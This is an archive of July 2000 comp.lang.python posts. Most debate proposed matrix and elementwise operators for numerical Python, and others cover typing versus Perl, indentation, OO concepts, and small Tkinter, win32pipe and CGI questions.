Stephen


From tim.hochberg at ieee.org  Thu Jul 20 18:18:18 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 20 Jul 2000 22:18:18 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <8l7qol$91u$1@la-mail4.digilink.net>
Message-ID: <m23dl4o5sz.fsf@spiff.home.com>

"Pete Shinners" <pete at visionart.com> writes:

> > (*)  outer product
> > (.)  inner product
> > (|)  matrix solve
> > (**) matrix power
> 
> 
> heh, in an effort to keep this discussion from being "half-assed" (HA)
> i'd like to voice that i also think this syntax is very useful
> and very clean. i'd be glad to see it come around for the next
> big release
> 
> but while we're at it, i would hope that we don't overlook the
> potential of elementwise assignment operators. sometimes those
> matrices can get rather large, and rather than create a new
> temporary matrix for every operation, it would be nice to have
> it done "in place"
> 
> MatrixA (*)= MatrixB
> MatrixA (.)= MatrixB

Whatever the final syntax [(*), @*, .*, ?], we should keep in mind
that in place operations will be possible only a fraction of the
time. In order for the operation to done in place, the resulting
matrix must be the same size as MatrixA. This never happens for outer
product (modulo some edge cases), For inner product and solve, this
happens if A and B are the same size. Power always works.

This isn't to say that the X= operations wouldn't work; they'd work
fine, the just wouldn't always save any space. This makes their
addition somewhat less compelling from my point of view, especially
since they start to look awfully long. On the other hand,orthoganality
is nice too.

-tim


From paul at prescod.net  Mon Jul 24 17:23:54 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 24 Jul 2000 16:23:54 -0500
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk>
Message-ID: <397CB3EA.15F5514F@prescod.net>

Tim Rowe wrote:
> 
> In article <m3em4ld5t3.fsf at atrus.jesus.cam.ac.uk>, mwh21 at cam.ac.uk
> (Michael Hudson) wrote:
> 
> > Sorry, but eh?  I fail to understand you, I think.
> >
> > Example usage of what I'm talking about:
> >
> > def add(x,y):
> >     return x + y
> >
> > 1 @add 1
> >   ==> 2
> 
> My problem is that identifiers that refer to overloaded infix operators
> must begin with a @ (and presumably any identifier beginning with @ must
> be an overloaded infix operator). 

That's simply not true. The name of the function is "add". At the
syntactic level, "@" is an operator that takes three arguments, a left
operand, a right operand and an operation to apply. It is a
meta-operator.

@add is not an identifier. *add* is the identifier.

Personally, I think that this proposal is far more palatable then the
others which add five or more inscrutable multi-character symbols to the
Python lexicon. This one adds one character -- the meta-operator.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From moshez at math.huji.ac.il  Fri Jul 28 03:11:05 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 10:11:05 +0300 (IDT)
Subject: Perl is worse! (was: Python is Wierd!)
In-Reply-To: <slrn8o265g.qtv.nobody@isis.visi.com>
Message-ID: <Pine.GSO.4.10.10007281010300.4194-100000@sundial>

On Fri, 28 Jul 2000, Grant Edwards wrote:

> In article <io12ososq8or6t6lgdsclgp5eob5rs8cd7 at 4ax.com>, Ben Wolfson wrote:
> 
> >list() (and tuple()) only work on objects that actually have a sequence
> >mapping makes a lot of sense and, to me, resolves the ambiguity in
> >precisely the way I would expect.
> 
> Is 'sequence mapping' for list() an tuple() defined the same as for the
> 'for' statement: it has a get_item(i) method that returns either a value or
> raises an exception?

Actually, I think these two want an __len__ method too.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From tarnold at datacomm.ch  Sun Jul  9 07:20:03 2000
From: tarnold at datacomm.ch (tarnold at datacomm.ch)
Date: Sun, 09 Jul 2000 11:20:03 GMT
Subject: win32pipe question
References: <dksfmscfpmbd3c3mje1ksbqomia90udafe@4ax.com>
Message-ID: <1103_963141603@name>

On WinNT 4.0 the following code (with SWI-prolog) works;
it writes a query to SWI-Prolog, reads the answer,
writes the next query, reads the answer and then 
halts the SWI-process.

The problem is that python seems to hang if it is waiting
for input (= output from the prolog process) and there is 
none. After exiting python the SWI-prolog process has to 
be killed by hand.

I am interested whether win32pipe only works on WinNT or
on win95/98, too.

---
  Toni Arnold


--- python code for pop2en 2 ---

from win32pipe import popen2

(plwrite,plread) = popen2('C:/Programme/pl/bin/plcon')

plwrite.write('write(abc),nl.\n')
out = plread.readline()
print out

plwrite.write('write(cde),nl.\n')
out = plread.readline()
print out

plwrite.write('halt.\nl')





From zo at angband.org  Fri Jul 28 12:49:57 2000
From: zo at angband.org (Eric Lorenzo)
Date: 28 Jul 2000 12:49:57 -0400
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com>
	<slrn8o2ft4.1e2.grey@teleute.rpglink.com>
	<OLgg5.2637$6E.681698@ptah.visi.com>
	<slrn8o397m.3ok.grey@teleute.rpglink.com>
Message-ID: <3h8zumi4i2.fsf@angband.org>

grey at despair.rpglink.com (Steve Lamb) writes:
>     And I meant what I typed and do and I don't need the language
> telling me that I'm the stupid one.

I've got news for you, Steve: You may not be the stupid one, but you
*are* the ignorant one.  And so am I, and so is any other programmer
who is dealing with a piece of code that he hasn't looked at in months
(if ever).  Programmers in that position are typically unaware of many
of the details that were in the mind of the code's original author
(even if it is their own code - people, including you, forget things).
When a programmer has explicitly laid out what a program is to do, it
will be far easier for that code to be understood, later.

Typing isn't intrinsically required for communicating with the
computer.  As you point out, we could simply treat each value is an
untyped glob of bytes, and let the operations that the omniscient
programmer specifies determine how it is treated.

But communication with the *computer* isn't actually the primary
purpose of typing.  Rather, typing is a means for programmers to
communicate with themselves and with other programmers.  It provides
them with a mental framework on which to hang some of their
meta-knowledge about a particular glob of data, and more importantly,
a way to explicitly and unambiguously make note of that meta-knowledge
in the code.

When I read a piece of Python code that passes an string to 'int()'
immediately after reading it from the user, I know that the original
programmer was expecting the user to input an integer.  It's
considerably harder to figure out the programmer's expectations when
reading a piece of Perl code that reads an input string and doesn't
bother doing any explicit conversions, instead depending on the
language to implicitly coerce to integer where it's appropriate.

Eric


From horst at proceryon.at  Thu Jul 20 03:51:44 2000
From: horst at proceryon.at (Horst Gassner)
Date: Thu, 20 Jul 2000 09:51:44 +0200
Subject: Canvas text - clipping instead of wrapping
References: <397583B4.52066F4E@proceryon.at> <8l42f6$f28$1@nnrp1.deja.com>
Message-ID: <3976AF90.DF43D40@proceryon.at>

Hello Richard,

> text.config(wrap=NONE)
> 
> The options are NONE,WORD or CHAR.
Thank you for your fast reply.
I tried this but I got the following error:

    s._parent.itemconfigure(textID, wrap=NONE)
  File "<string>", line 1, in itemconfigure
    None
  File "/usr/lib/python1.5/lib-tk/Tkinter.py", line 1541, in
itemconfigure
    cnf = {}
TclError: unknown option "-wrap"

This is my code:
textID=s._parent.create_text(x, y, width=tableCellWidth, text='%s' %
(str(col)), anchor=NW)
s._parent.itemconfigure(textID, wrap=NONE)


Horst


From yw at alabanza.net  Mon Jul 24 18:49:48 2000
From: yw at alabanza.net (ye, wei)
Date: Mon, 24 Jul 2000 18:49:48 -0400
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <397CC80C.43F5D8@alabanza.net>

Remco Gerlich wrote:

> ye, wei wrote in comp.lang.python:
> > I'm a programmer and have C/C++, Perl, Java, PHP experience, now I'm
> > interested
> > in Python now. I spent a day to learn the Python, it's a cool language,
> > however I have the following
> > questions:
> >
> > 1. Why not use {}?!
> > def f:
> >     ...
> > why not use {} like this:
> > def f {
> >     ...
> > }
> >
> > I'm almost couldn't bear with it?! {} is not difficult to be added,
> > however it can make sure the
> > logic is correct.
>
> Unless the braces are misplaced. Just like indentation makes sure the logic
> is correct, unless it's misplaced. At least with indentation it always does
> what it seems to do, braces can be visually misleading if the indentation
> looks different.
>
> Other short answers: it saves typing, is more readable, braces aren't
> necessary, they're ugly.
>

Perlsonally, I don't agree with you, but I can bear with the rule.

>
> It's just Python.
>
> > The other problem is if you want to added a new condition in a complex
> > already existed condition statement,
> > e.g. In the following example, If you want to added a new 'if' between
> > line 1 and 2, you have to add TAB from Line 2 to 199,
> > it's difficult to make sure you don't make mistake. (The case may be
> > more complex as the example which I give).
> >
> > 1     if() :
> > 2        if():
> > 3           ....
> >              ....
> >              ....
> > 100   else:
> >              ...
> > 200else :
> >          ...
>
> Use a good editor. It's not so hard to check if the current line lines up
> with the previous one. It's not hard to indent a long C function either,
> is it?

I have been using 'emacs',  it's a nice editor, however I still concern if
add or remove a new block within a complex logic it may mess up
the old application. However if {} is applied, I'm pretty sure it doesn't
happen.


>
>
> > 2. Why variable doesn't have to be declared before use?
>
> Because it's not necessary!

I can bear the {} issue, however I couldn't bear with variable without
declaration.
I wrote many applications, I couldn't live without declaration. For big
project,
there are so many scripts, everyone may be misspell variable name.
It's very timeconsume and hard to find out such problem, which should
be easy checked out by compiler.


>
>
> > Is this hard to be implemented in script language?
>
> No, the other way around - this is a scripting language, meant for rapid
> development, least hassle for the programmer - so no need for declaration.

I agree with you script language is very good at rapid development, this is why

I like Perl. Java is very good language, however it takes much longer time to
develop projects because it's not a script language.

However I don't think "not need for decalaration" is the favor for rapid
development.
We used "use strict" package in every Perl script to force "variable
declaration", it doesn't
waste any time for development, however project is still rapid to be developed.



>
> Although there is work in progress on this issue - it may become optional
> in the future. If you make everything strict and using { } and so on you've
> just got some dialect of Objective C or Java or something...

I will be very *HAPPY* if it's true!!!!!  I believe Python will be much
stronger and grow faster
if such features are enabled.

Python's goal is a simple language, which everyone can use it to write program.

However it should be a good language, which can as more as possible to correct
the mistake
people may make.  This help programmers to shorten development and testing
time.

>
>
> Also, by forcing a variable to be a certain type (like arguments to a
> function) you use flexibility. For instance, many functions except to get an
> open file, but if you give them some class instance that works just like an
> open file the functions don't complain and just work. That's very cool, but
> it wouldn't work with strict types.

Yes, it is if you define a function expect a base class, its derived class
object should
have no problem to be passed in. Both Java/C++ have this feature.

If don't specify the variable type:
1. When you read code, it's not easy for you to understand how to invoke that
function.
   For example, compare
def f(x, y, z): ...  with def f(int x, complex b, Employ c): ...
which declaration give you more information without read further code?
You know how to invoke the latter one without read its code and comments in
most cases.

2.  it leads the function is mis-called by passing not correct type.

Again, do you know how Perl function is defined? Just like this:
sub f { ... }

Without parameters as well as types. The authors tried to add some prototype
checking later, but too late,  that will
cause imcompatible problem with existed scripts.   Perl's function declaration
should be more flexible, however
without parameter and type checking, it's causing many problems, and couldn't
be tolerated.

>
>
> But well, why am I replying to this. You've just met some Python features
> that make Python Python; we're used to them and think they're good. See for
> yourself :-).

Thanks!

>
>
> I've set followup-to poster since we could continue over email, but this has
> been done to death in the group already.

I still would like to post it on mailinglist, hope developer team can think
about it.


>
>
> --
> Remco Gerlich,  scarblac at pino.selwerd.nl
> "Early to rise, early to bed, makes a man healthy, wealthy and dead." -- TP
> --
> http://www.python.org/mailman/listinfo/python-list

--

Sincerely,

Wei Ye






From ram_garapaty at spk.agilent.com  Wed Jul  5 17:57:40 2000
From: ram_garapaty at spk.agilent.com (Ram Garapaty)
Date: Wed, 05 Jul 2000 14:57:40 -0700
Subject: serial communication in python..??
Message-ID: <3963AF53.F16F9CAA@spk.agilent.com>

Hi!
i am new to python and would like to know whether python would be any
assistance to my situation as described below:
i got a testing box which send s out the data  through a serial port, i
would like to capture that data through GUI window in PYTHON . Is this
possible in python if soo please suggest me the right topics in python
and right material to go through python asap.

thanks in advance
ram



From bjorn at roguewave.com  Fri Jul 21 14:27:35 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 21 Jul 2000 12:27:35 -0600
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <slrn8nf2it.rb.hzhu@localhost.localdomain> <39779175.3F2D163B@roguewave.com> <slrn8nf6p0.rb.hzhu@localhost.localdomain>
Message-ID: <39789617.793C8F9B@roguewave.com>

Huaiyu Zhu wrote:

> On Thu, 20 Jul 2000 17:55:33 -0600, Bjorn Pettersen <bjorn at roguewave.com>
> wrote:
> >
> >> OTOH, would you care to give a brief summary of how these other languages
> >> deal with these issues?  It may indeed provide valuable insight.
> >
> >I agree with Paul, if you want to use Matlab syntax, use Matlab. Here's
> >links to APL/J info http://www.acm.org/sigapl/links.htm
>
> It would be great if you could summarize some of the issues concerning
> treatment of multiarray in APL/J.  The purpose of this discussion is for all
> sides to spell out their favorite.  Imho, issues that are so involved that
> could not be explained here are unlikely to be suitable to go into the PEP.

Personally, I can't see any advantages to APL/J, but then I'm not heavily into
math. I do think that anyone who is interested in a specific domain (especially
when wanting to morph Python to fit this domain) should know what the current
state of the art is.  It took me less than half an hour to get a good grasp of
what APL/J was about, and judging from some of the suggestions in this thread
we're headed in a very interesting direction. (I'm assuming it's possible to
maintain APL/J programs, but I can't quite see how?)

-- bjorn





From hzhu at localhost.localdomain  Thu Jul 20 17:57:03 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 21:57:03 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m2u2dl1xf4.fsf@spiff.home.com>
Message-ID: <slrn8netkd.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 00:58:06 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:
>
>>    (2) Which is matrixwise or elementwise
>
>I can't see a good answer here. NumPy has been around for a long time
>and I believe it has a fairly large user base which is a strong
>argument in favor of the ".x" operators being matrixwise. However,

We may need also to consider future userbase.  I would predict (but
predictions are unreliable!) that a large portion of future userbase from
current matlab/octave users.  (See below)

My own experience and bias: NumPy does not orient toward people using arrays
as objects in linear space, but rather like a holder of a large amount of
homogeneous data.  I'd already tried to use it for a month but almost gave
up. I was looking for a python-octave pathway when Konrad Hinsen suggested
that a simple wrapper would achieve the goal.  I would imagine the majority
of people who would prefer this never actually crossed the line from matlab.

One indicator of this is that when I asked about matrixwise interfaces most
answers came from people who are perfectly comfortable with multiarray. But
when dealing with multidiemnsional arrays the infix notation is not quite
necessary nor convenient.

So my point is that the portion of NumPy users who do linear algebra instead
of multilinear algebra may not be that great.  (You can see my bias
throughout this post.  Be warned.)

>other operators within python (*,+) operate "objectwise" on sequences
>(concatenation and replication). I think it would be suprising if
>these operators were elementwise for matrices and objectwise for
>other, similar, objects (sequences). This tends to favor ".x" being
>elementwise.

This is by far the most important point, imho.  It is good for an OO
language to set the default behavior as objectwise.  Even if the additional
operators are not be implemented on other objects, the conceptual
inconsistency is still worth considering.


>>    (3) Compatibility: NumPy uses * for elementwise, MatPy uses * for
>>        matrixwise.
>
>Do you have an idea of what the relative sizes of the userbases of
>these two packages are? Honest question -- I have no idea, but I've
>been operating under the assumption that userbase of MatPy was
>relatively small.

I don't know how to gauge NumPy.  Any ideas?

For MatPy the statitics of downloading is quite small.  Just over 50 for the
latest version in ten days and several hundred total for all version in the
one month it has been in existence.  The number is largely restricted to
those who read c.l.p at the time I annouce a new release, but it has got to
Vault of Parnassus recently.  It did not work on Windows until over a week
ago.  I would say that those who use MatPy even at this alpha stage are
those who really need this interface, and represent a tip of iceberg of the
potential users.

>>    (4) Similarity with Matlab (but not really compatibility). 
>
>I think it's a mistake to look just at Matlab here. If were going to
>look to matrix languages for inspriation we should look to
>several. Unfortunately, I'm no help here.

Well, I just did a little experiment and found that it is surprisingly easy
to translate Matlab to python.  The other way is of course almost
impossible. After all, Matlab is such a simple language compared with
Python.  (I wonder why people wwould compare it to Perl. <0.8wink>)

So I would consider the similarity quite important.  If a matlab program
consists mostly of formulas the transition is almost effortness.  Once we
have these operators I do not see any great hurdle for mass immigration.

Any examples of how other numerical languages treat this issue?

There is anothe issue.  If we decide on * for elementwise operations it is
best to use @* for matrix usage.  Having both * and .* and let them mean
exactly the oposite of matlab is really too confusing for the targeted
users, several have pointed out already.

>
>> 3. Their behavior on other objects:
>> 
>Note that if ".x" ends up being matrixwise, things will become
>horribly inconsistent if it is later decided to extend these operators
>to other sequences. This IMO is probably the strongest argument for
>making ".x" elementwise.

Agreed. I think these operators will not have any default meaning on objects
other than numbers. However, is it allowed for non-numerical classes to use
them through __atmul__?  After all, there is no syntactic distinction
between these classes.  So what if a subclass of UserList want to have both
objectwise and elementwise add?

>> 5. Other bits and pieces:
>> 
>>    - How to deal with left division?
>> 
>>     (1) Use sol(a,b)
>>     (2) use /@ or /.
>>     (3) use %
>
>'%' is already a valid elementwise operator and to have "%" and ".%"
>mean completely different things is not good, so (3) is out. 
>
>I think (2) only makes sense if the ".x" operators are matrixwise. It
>seems just too weird to have "/" be right division "/." be left
>division and "./" be elementwise. It's much more sensible to have "/"
>be elementwise, "/." be left division, and "./" be right division for
>instance.
>
>If possible I would like to avoid (1). 'sol' would almost certainly be
>in the a seperate module and this is potentially painful.

This seems to be the best reason to use @/ and /@.  But sol does not live in
a different module in MatPy.  Using % or | involves changing the meaning of
currntly used operators.  Even though the actual usage might be very small,
that's still a change.  If we are not going to grab ^ for pow, we probably
shouldn't consider grabing % and | for sol.

>>    - Do we want a copy operator := which is different from =?  It allows
>>      efficient code.  The following code does not change A
>>          B := A
>>          B += C
>>      This definitely will be usable for other classes. Call it __copy__?
>
>This seems to be a general request and not particularly numeric
>specific. And I don't think it adds much in the way of
>functionality. I would drop this. 

Agreed.  As someone mentioned, it's no difference from B=A.copy()

>
>>    - Since augmented assignment almost certainly will get in the core, we
>>      need to consider combining them.  A few possible opinions
>> 
>>      (1) Just use prefix . or @ to mean e or m, use suffix = to mean in
>>          place assignment, and all are well defined.
>> 
>>      (2) a .**= 3 looks too long.  Don't combine them.
>> 
>>      (3) allow .+=, etc but ban .**=.
>
>Here I'd go with (1), consistency over beauty.

Agreed.  I was only worrying that someone might charge its ugly.  But the
fault was really in using ** for pow in the first place.

>I'm not yet convinced as yet that all of these operators are needed;
>the +, - and .+, .- operators are very similar in behaviour. The main
>reason they are present seems to be orthogonality. I'm sure this has
>been brought up before, but does MatLab have both broadcasting and non
>broadcasting versions of its operators? Is it worth considering adding
>only the matrix operators .*, ./, /., and(?) .** and letting NumPy/
>MatPy choose whether they wish to broadcast or not? It seems that the
>difference between .* and * is different in character than the
>proposed difference between .+ and +; in one it's between elementwise
>and matrixwise operations, and in the second it's between broadcasting
>and nonbroadcasting operations. Yes, you can think of the second in
>terms of the first, but it still feels a bit forced to me.

I have a different opinion.  The main reason they are needed is because they
are conceptually consistant.  The definition of + - * / adhere strictly in
accordance with linear algebra, so they will balk at the wrong dimensions.
But .+ .- .* ./ are elementwise, for which the current NumPy rules make
perfect sense to me: make elementwise operations, extending missing
dimensions whenever necessary.  Unless we change the current NumPy defaults
it is consistent to have them all.  And why would we change?  I find

a .+ b

so much more reasable (and probably faster) than

a*ones(size(b)) + ones(size(a))*b


Just for some ideas, I have a set of operators that would satisfy most of
the above need:

NumPy matrix  NumPy element  MatPy matrix  Matpy element
  @+              +              +            .+
  @-              -              -            .-
  @*              *              *            .*
  @/              /              /            ./
  /@             none           what          none
  @**             **             **           .**

This provides the smoothest migration path for all the users. Note that the
cause of NumPy/MatPy inconsistency was the lack of binary operators.  As
this already happened, it is difficult to integrate them until both got two
versions of operators.  Problems:

- This introduces 6+5 new operators.  Ironically the previous lack of
  operators actually results in more operators.

- Having standard + - * / mean different things in NumPy and MatPy.  I
  personally find this no problem.  In certain portions of my programs I need
  elementwise operations exclusively, and I found it convenient to cast
  everything into NumPy without trouble.

- There's still no left division for MatPy.

Huaiyu


From bjorn at roguewave.com.bbs  Mon Jul 17 19:50:01 2000
From: bjorn at roguewave.com.bbs (bjorn at roguewave.com.bbs)
Date: 17 Jul 2000 23:50:01 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operatorsfo
Message-ID: <3bRTZP$jrX@openbazaar.net>

Huaiyu Zhu wrote:
[snip]
> The morale of the arguement is: requiring every syntax to be useful in every
> domain is too extreme and not quite useful.  But considering exactly what
> the domain is and exactly how it might be used may help.

I think you hit the crux of the problem. You want to add syntax that is
only useful in one domain, and that is too extreme.

Why don't you create a preprocessor that converts

  a .* b

into

  elementWiseMultiply(a,b)

and create an appropriate suffix for your matlab/python files (mpy?)
It's a pretty easy thing to do, and sounds much more appropriate in this
situation.

-- bjorn


From dworkin at ccs.neu.edu  Sat Jul  8 19:40:05 2000
From: dworkin at ccs.neu.edu (Justin Sheehy)
Date: 08 Jul 2000 19:40:05 -0400
Subject: Making tabs illegal
In-Reply-To: Matthew Schinckel's message of "Sat, 8 Jul 2000 14:21:06 +0930"
References: <394ac7ea.609024015@nntp.interaccess.com>
	<3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com>
	<Pine.BOS.4.10.10007081420100.1550-100000@be>
Message-ID: <vnd1z14w5re.fsf@camelot-new.ccs.neu.edu>

Matthew Schinckel <baron at null.net> writes:

> I hate having to hit space four times, I'd much rather just use tab.

You should get a decent editor.

-Justin

 



From andres at corrada.com  Thu Jul 13 15:07:29 2000
From: andres at corrada.com (andres at corrada.com)
Date: Thu, 13 Jul 2000 15:07:29 -0400
Subject: INPUT TYPE=file in HTML
In-Reply-To: <Pine.LNX.4.10.10007111835580.31780-100000@pop3.ifs.org.uk>; from Jocelyn Paine on Tue, Jul 11, 2000 at 06:41:42PM +0100
References: <Pine.LNX.4.10.10007111835580.31780-100000@pop3.ifs.org.uk>
Message-ID: <20000713150729.B13439@corrada.com>

On Tue, Jul 11, 2000 at 06:41:42PM +0100, Jocelyn Paine wrote:
> 
> The field is inside a form whose HTML arguments are just ACTION and
> METHOD, nothing else. The field has a TYPE argument whose value is "file",
> and a NAME attribute. And this combination of field and form works OK if I
> use it to pload a file to a Perl CGI.
> 

I would guess that you do not have ENCTYPE="multipart/form-data" set in your
FORM tag. If this is missing, a <input type="file"> tag is treated as just a
normal <input type="text"> tag and the only thing you get is the name of the
file sans its contents.

------------------------------------------------------
Andres Corrada-Emmanuel   Email: andres at corrada.com
------------------------------------------------------



From paul at prescod.net  Mon Jul  3 14:57:14 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 03 Jul 2000 13:57:14 -0500
Subject: OO
References: <8jb1ec$9mh2@news.qualitynet.net> <autilso0l591oo924n3mogcva7r2892p5b@4ax.com> <8jpvhi$jfs$1@newshost.accu.uu.nl> <20000703171722.A7614@bork>
Message-ID: <3960E20A.4BA7AF49@prescod.net>

Egbert Bouwman wrote:
> 
> ...
> 
> Actually a great eye opener was the remark in this list a few days ago,
> when someone said that you use classes when you have to combine
> program and data, and functions when you have only program code.

Let me be more explicit about this. Classes are important when you want
behavior to travel *with* the data. Procedural and functional styles are
used where you want to impose behavior on "dumb" data. Real programs
tend to use both styles. Often a procedural model is used to get data
into the program where you combine the data with behavior in objects.

When the behavior travels with the data (as methods), you can fiddle
with the data without thinking much about its underlying implementation
(through the methods). Therefore that underlying implementation can be
really, really complex or really really simple and you don't care. It
can also change between versions of the module and you still don't care.
That's the encapsulation part of OO. You can actually do this pretty
easily just with just functions (not methods), using a style of
programming like this:

obj=CreateNewObject()
behavior1( obj, param1, param2, param3, ...)
behavior2( obj, param1, param2, param3, ...)
behavior2( obj, param1, param2, param3, ...)

There are lots of APIs written in this style in non-OO languages. This
is encapsulation (whether done in an OO language or not)

The "polymorphism" part of OO comes from the fact that once you have an
object, you can work on its methods without knowing exactly what kind of
object you have. The Python library has lots of good examples of this
but here's a beautiful example:

class myOutputClass1:
    def write( self, data ):
        ...write it to a GUI window....

class myOutputClass2:
    def write( self, data ):
        ...write it to a log ....

class myOutputClass3:
    def write( self, data ):
        ...send it via email to Bill Gates....

Now I can say 

sys.stdout=myOutputClass1() 

and hundreds of pieces of code that were supposed to work on the stdout
"stream" will magically work on myOutputClass. When they say:
sys.stdout.write( "foo" ), it calls the appropriate write method.

The fact that it has the right methods is enough to make it "stand in"
for a stream. This is much harder in a non-OO language because you have
to "fake" the objects carrying around their behavior as methods. I think
that polymorphism is really the heart of OO in Python. It's so important
that some separate it out from the other OO stuff and just call it
"genericity."

The third part of OO is most emphasized in most non-Python languages:
inheritance. Inheritance is a way of extending existing objects so that
you do not have to write all of that code over again. In other
languages, inheritance takes on some more mystical properties for the
type system, but you could be a decent Python programmer and only use
inheritance very, very rarely.

According to the powers that be, these are the three main features of
OO: encapsulation, polymorphism and inheritance.

-- 
 Paul Prescod - Not encumbered by corporate consensus
The calculus and the rich body of mathematical analysis to which it 
gave rise made modern science possible, but it was the algorithm that 
made the modern world possible.
	- The Advent of the Algorithm (pending), by David Berlinski



From aahz at netcom.com  Mon Jul 31 16:16:18 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 20:16:18 GMT
Subject: check file exists
References: <3985DDA3.E811F70A@ncsa.uiuc.edu>
Message-ID: <8m4mqi$c2t$1@slb6.atl.mindspring.net>

In article <3985DDA3.E811F70A at ncsa.uiuc.edu>,
Randy Heiland  <heiland at ncsa.uiuc.edu> wrote:
>
>How does one test for whether or not a (Unix) file exists?

Check the os and os.path modules.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From cut_me_out at hotmail.com  Tue Jul  4 11:41:33 2000
From: cut_me_out at hotmail.com (Alex)
Date: 04 Jul 2000 11:41:33 -0400
Subject: Problem with dynamically linked extensions that use Numeric
References: <etdbt0g1zos.fsf@w20-575-116.mit.edu>
Message-ID: <etdhfa5q4wi.fsf@w20-575-32.mit.edu>

Just to follow up here, the problem was pointed out by Paul Dubois in
another thread -- I need to do an import_array (); after the Py_InitModule. 

Alex.


From rumjuggler at cryptarchy.org  Thu Jul 20 18:51:20 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Thu, 20 Jul 2000 22:51:20 GMT
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <397746c9.39446991@news.iol.ie> <oh67$WAq91d5EwCp@jessikat.fsnet.co.uk>
Message-ID: <dt0fns8pluqumcjp443kck57qnhvs279te@4ax.com>

On Thu, 20 Jul 2000 21:22:02 +0100, Robin Becker
<robin at jessikat.fsnet.co.uk> wrote:

>In article <397746c9.39446991 at news.iol.ie>, Sean Mc Grath
><sean at digitome.com> writes
>>>I think merge makes sense,
>>>(and I don't really have a problem with zip()), but the metaphor that
>>>most closely resembles what it does is braid(), as in hair..
>>>
>>Two suggestions:
>>       1) raff
>>       2) twingle
>>
>>"raff" is an invented verb form of "raffia", fibers of which are used
>>to weave hats, baskets etc. (<nerd>Spot the Monty Python
>>connection?</nerd>)
>>
>>"twingle" just sounds beautiful...
>...
>this thread is getting silly :) soon someone will mention Hitler :(

That's precisely what it should be called!


From neilh at scintilla.org  Sun Jul 16 20:34:22 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Mon, 17 Jul 2000 00:34:22 GMT
Subject: "Intellisense" drop-down...
References: <pbpc5.89249$W35.2041585@news20.bellglobal.com> <osrc5.3577$4p3.27127@news-server.bigpond.net.au> <t_rc5.89902$W35.2063221@news20.bellglobal.com>
Message-ID: <iwsc5.3597$4p3.27442@news-server.bigpond.net.au>

> Here it is, folks, the ability to use another key than TAB to select a
word
> in the AutoComplete list:

   I like it - good to see someone new improving PythonWin.

   A small problem with Ctrl+Enter is that it works in the editor but not
the interactive window.

   Neil





From olipt at mayo.edu  Fri Jul 21 18:34:39 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Fri, 21 Jul 2000 17:34:39 -0500
Subject: [long and fussy] But what do these operators _mean_?
In-Reply-To: <slrn8nhcdk.ql.hzhu@rocket.knowledgetrack.com>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l899g$6f5$1@agate.berkeley.edu> <slrn8nfsh3.rb.hzhu@localhost.localdomain> <8la3bo$b55$1@agate.berkeley.edu> <slrn8nhcdk.ql.hzhu@rocket.knowledgetrack.com>
Message-ID: <Pine.LNX.4.10.10007211728110.19855-100000@us2.mayo.edu>

> > - >Quick summary:  Maybe there needs to be a numerics-sig before any 
> > - >of these changes are adopted...
> >So how do we get one started? 
> 
> Good question.  Any volunteers?

The discussion list at SourceForge for Numeric Python is a perfect place
for these discussions. 

> I would still think that's mainly caused by matlab's monolithic nature.
> Python with its clean namespace separation would greatly minimize this risk.
> 
> Here's my idea of "grand unification of numerical computation in python" :-)
> 
> There are many packages that implement various numerical routines.  They are
> closely related to lapack, linpack, eispack, cephes or whatever names their
> underlying fortran or C packages have.   
> 
> There are also several interface packages, which implements the interfaces
> that emphasize multiarray or matrix algebra or other specific conveniences
> like sparse matrices, etc.
> 
> They are designed in such a way that users can easily assemble numerical
> pacakges that has given guaranteed performance with desirable interface.
> The advantage of separation of implementation from interface is that it
> gives much more choices to the users without increasing the load on
> developers. 
> 
